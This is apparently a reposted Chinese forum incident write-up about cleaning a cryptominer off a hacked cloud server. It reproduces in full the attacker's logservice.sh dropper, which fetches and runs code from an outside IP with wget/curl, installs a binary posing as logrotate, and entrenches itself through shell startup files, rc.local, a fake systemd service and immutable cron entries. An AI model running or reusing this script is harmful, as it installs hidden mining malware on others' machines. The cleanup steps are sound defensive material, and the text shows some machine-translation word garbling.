马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要 登录 才可以下载或查看,没有账号?立即注册
x
现象:SSH失败、CPU满转
服务器ssh登录不上,不停处于登录中状态。
于是进入云服务器控制台,CPU打满状态,知道服务器被攻击了
腾讯云入侵检测,高危命令报警
排查过程
尝试 VNC 登录
由于SSH登录不上,进入云服务器控制台,尝试VNC登录,很遗憾也是进不去服务器,不停处于login登录中状态
单用户模式重启
重启服务器,在VNC控制台看到服务器无法重启不停锁死
- [/code] sql
- 代码解读
- 复制代码
- A start job is running for /etc/rc.d/local Compatibility
-
- [align=center][img=1042,448]https://img-blog.csdnimg.cn/img_convert/dfc3afdfa8ee180a6b65abcb28a9e528.webp?x-oss-process=image/format,png[/img][/align]
- [size=3]尝试单用户模式重启[/size]
- 参考 blog.csdn.net/qq_36025814…
- 什么是单用户模式呢?
- 单用户模式和救援模式紧张用于体系出现错误配置不能正常启动的时间,可以使用这两种模式来更改错误配置。另有就是当忘记root暗码时就只有用这两种方式来强制更改暗码。
- 使在此模式下和正常启动的体系差别不大以root身份运行,拥有最高权限可以对所有文件读写,只是不必要输入root暗码,所以就可以实现强制更改暗码。紧张用在配置错误导致体系启动不了,大概root命令忘记时。注意这个模式下是没有网络连接的。
- 上面看到重启锁死,这个 /etc/rc.d/rc.local 文件是开机自启动shell脚本,通常会加上一些必要开启自启动的脚本,我们进入单用户模式来修改这个文件,看里面被篡改了什么
- [size=2]进入 VNC,发送 Ctrl+Alt+Delete 命令 重启服务器[/size]
-
- [align=center][img=881,150]https://img-blog.csdnimg.cn/img_convert/3d17e1e81acd7a70a238586ba80c02ab.webp?x-oss-process=image/format,png[/img][/align]
- [size=2]按e进入启动内核[/size]
- 点击 确定,体系开机中,然后立即点击 e(多次点击启动内核)
-
- [align=center][img=408,127]https://img-blog.csdnimg.cn/img_convert/377b7ccec204db28e75f027f6bfc7bd2.webp?x-oss-process=image/format,png[/img][/align]
- [size=2]修改初始化命令[/size]
- 进入后按到最后 增长 init=/bin/sh , 而且把原来 ro 大概 r\o 修改为 rw ,设置为文件可修改,否则提示只读,斜杠只是换行符不消管
-
- [align=center][img=715,362]https://img-blog.csdnimg.cn/img_convert/3b370524605605af84329fbfae04074a.webp?x-oss-process=image/format,png[/img][/align]
- [size=2]启动进入单用户模式[/size]
- 按住 Ctrl + x ,即可进入单用户模式,对体系内文件进行操作。
-
- [align=center][img=541,114]https://img-blog.csdnimg.cn/img_convert/6fefbce7221931c6701e02be4e2b238c.webp?x-oss-process=image/format,png[/img][/align]
- [size=2]修改 rc.local 文件[/size]
- 看到被病毒修改增长了脚本 logservice.sh,删撤除这句脚本
-
- [align=center][img=794,432]https://img-blog.csdnimg.cn/img_convert/50b18976e90808c52e4c5d100f6c8b08.webp?x-oss-process=image/format,png[/img][/align]
- [size=2]重启成功[/size]
- 修改完成后,执行 exec /sbin/init 退出单用户模式,启动成功。
- [size=4]重装SSH[/size]
- 此时发现ssh登录还是失败,通过VNC登录登录很久,十几二非常钟才进入到服务器。捉住机会。
- 为了能ssh登录,此时卸载ssh并重装
- [code]
复制代码 bash
代码解读
复制代码
# 可以通过这条命令检察卸载前后的openssh干系服务安装情况
rpm -qa openssh*
# 卸载 yum remove openssh*
# 安装 yum install -y openssh-server
# 启动服务 systemctl start sshd systemctl enable sshd
排查病毒
参考 blog.csdn.net/qq32933432/…
下载 logservice.sh 脚天职析
通过报警找到logservice.sh脚本地点 http://185.196.8.123/logservice.sh
js
代码解读
复制代码
#!/bin/sh { pkill -f xmrig || kill -9 $(pgrep -f 'xmrig'); } >/dev/null 2>&1 ps -eo pid,%cpu,comm --sort=-%cpu | awk 'NR>1 && !/awk|ps/ && !($3 ~ /^(logrotate|sshd|java)$/) && int($2) > 60 { system("kill -9 " $1) }' EXEC="source <(wget -q -O - http://185.196.8.123/logservice.sh || curl -sL http://185.196.8.123/logservice.sh)" trap 'rm -- "$0"' EXIT if [ -z "${HOME+x}" ]; then export HOME=/tmp fi mkdir -p "$HOME/.config" >/dev/null 2>&1 [ ! -f "$HOME/.config/logrotate" ] && { ARCH=$(uname -m) URL="" [ "$ARCH" = "x86_64" ] && URL="http://185.196.8.123/silicon64blueprints.png" [ "$ARCH" = "aarch64" ] && URL="http://185.196.8.123/siliconarmblueprints.png" [ -z "$URL" ] && URL="http://185.196.8.123/silicon64blueprints.png" { wget -q -O "$HOME/.config/logrotate" "$URL" || curl -sL -o "$HOME/.config/logrotate" "$URL"; } >/dev/null 2>&1 chmod +x "$HOME/.config/logrotate" >/dev/null 2>&1 } pgrep -f "config/logrotate" >/dev/null 2>&1 || "$HOME/.config/logrotate" add_to_startup() { if [ -r "$1" ]; then if ! grep -Fxq "$EXEC >/dev/null 2>&1" "$1"; then echo "$EXEC >/dev/null 2>&1" >> "$1" fi fi } case "$(ps -p $$ -o comm=)" in bash) add_to_startup "$HOME/.bashrc" add_to_startup "$HOME/.bash_logout" ;; zsh) add_to_startup "$HOME/.zshrc" ;; esac [ "$(id -u)" -eq 0 ] && { RCLOCAL='' [ -e /etc/debian_version ] && RCLOCAL='/etc/rc.local' [ -e /etc/centos-release -o -e /etc/redhat-release ] && RCLOCAL='/etc/rc.d/rc.local' [ -n "$RCLOCAL" ] && add_to_startup "$RCLOCAL" cat >/etc/systemd/system/logrotate.service <<EOL [Unit] Description=The logrotate utility is designed to simplify the administration of log files on a system which generates a lot of log files [Service] ExecStart=$HOME/.config/logrotate Restart=always Nice=-20 StandardOutput=null [Install] WantedBy=multi-user.target EOL sudo systemctl daemon-reload 2>/dev/null sudo systemctl enable logrotate.service 2>/dev/null [ -d /var/spool/cron ] && [ -f /var/spool/cron/root ] && echo "@daily $EXEC" >> /var/spool/cron/root 2>/dev/null [ -d /var/spool/cron/crontabs ] && [ -f /var/spool/cron/crontabs/root ] && echo "@daily $EXEC" >> /var/spool/cron/crontabs/root 2>/dev/null [ -f /etc/crontab ] && echo "@daily $EXEC" >> /etc/crontab 2>/dev/null && sudo chattr +i /etc/crontab 2>/dev/null [ -d /etc/cron.hourly ] && echo "$EXEC" >> /etc/cron.hourly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.hourly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.hourly/logrotate 2>/dev/null [ -d /etc/cron.daily ] && echo "$EXEC" >> /etc/cron.daily/logrotate 2>/dev/null && sudo chmod +x /etc/cron.daily/logrotate 2>/dev/null && sudo chattr +i /etc/cron.daily/logrotate 2>/dev/null [ -d /etc/cron.weekly ] && echo "$EXEC" >> /etc/cron.weekly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.weekly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.weekly/logrotate 2>/dev/null [ -d /etc/cron.monthly ] && echo "$EXEC" >> /etc/cron.monthly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.monthly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.monthly/logrotate 2>/dev/null [ -d /etc/cron.yearly ] && echo "$EXEC" >> /etc/cron.yearly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.yearly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.yearly/logrotate 2>/dev/null }
这段脚本的大概解释
- 终止之前的xmrig实例:
尝试使用pkill或kill命令终止任何正在运行的名为“xmrig”的程序,并将任何错误或输出重定向到/dev/null(有用地将它们静音)。
- 终止高CPU使用率的进程:
通过结合使用ps、awk和kill来找出并终止未明确排除且消耗超过60% CPU的任何进程。
- 下载并执行远程脚本:
设置一个变量EXEC,用于获取并执行一个远程服务器(185.196.8.123:8080)上的脚本(logservice.sh)。
- 设置环境:
确保设置了HOME环境变量,如果未设置,默认为/tmp,并在HOME下预备一个.config目录。
- 根据架构下载并执行二进制文件:
查抄体系架构并从同一远程服务器下载特定文件(假定为二进制文件),将其作为logrotate生存在.config目录中,然后使其可执行。
- 长期性机制:
将远程脚本执行添加到Bash和Zsh shell的启动文件中,以便每次启动shell会话时都会执行它。 还试图将此脚本插入各种体系级cron目录和systemd服务中,以确保它持续运行或定期查抄,这有用地使其更难以移除,并确保它定期运行。
设置了一个名为logrotate.service的systemd服务来运行下载的二进制文件,并尝试将执行命令添加到不同频率的各种cron目录(每小时、每天、每周、每月、每年)中,并使用chattr +i命令使这些脚本变为不可更改。
也就是说这段脚本会接纳定时任务和开机启动项等方式,去远程下载一些文件,并把他们伪造成正常的logrotate服务来运行
查杀
知道了脚本的运作机制,就好办理了
删除病毒文件
使用ps -ef|grep logrotate可以看到这个病毒的目录,去把对应的文件删掉
先把他kill掉
- [/code] bash
- 代码解读
- 复制代码
- kill -9 16006
- 然后删除文件
- [code]
复制代码 bash
代码解读
复制代码
rm -rf /root/.config/logrotate
删除logrotate服务
使用top命令,找到名称为logrotate的服务,这个占用了大量CPU,把服务结束掉kill -9 id,有大概在删除了病毒文件之后top这里就看不到这个进程了
- [/code] bash
- 代码解读
- 复制代码
- # 先使用这个命令检察是否有服务
- systemctl list-unit-files |grep logrotate.service
- # 然后清除服务
- systemctl disable logrotate.service
- # 找到服务文件所在位置
- find / -name logrotate.service
- # 删除服务文件 rm -rf 上一句文件位置
- [size=2]清除定时任务[/size]
- 使用crontab -l会列出所有当前用户的定时任务,使用crontab -e把干系任务删掉生存,必要注意的是如果定时任务不在root用户则使用此命令看不到
- 打开文件 /etc/crontab , 编辑里面移除病毒干系的脚步命令,生存后执行 crontab /etc/crontab 生效
- [size=2]清除体系级别定时任务[/size]
- [code]
复制代码 bash
代码解读
复制代码
# 然后执行解锁命令,如果上面的ia就是-ai 如果是只用一个i就是-i
chattr -ai /etc/cron.hourly/logrotate;
chattr -ai /etc/cron.daily/logrotate;
chattr -ai /etc/cron.weekly/logrotate;
chattr -ai /etc/cron.monthly/logrotate;
chattr -ai /etc/cron.yearly/logrotate;
# 删除
rm -rf /etc/cron.hourly/logrotate;
rm -rf /etc/cron.daily/logrotate;
rm -rf /etc/cron.weekly/logrotate;
rm -rf /etc/cron.monthly/logrotate;
rm -rf /etc/cron.yearly/logrotate;
清除开机启动项
先检察 $HOME 是哪个目录
编辑这些文件,把非常信息删掉
修改云服务器安全组
只对一些ip和端口开放
到此,所有的清除工作就结束了,修改下暗码,重启服务器应该就可以了
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |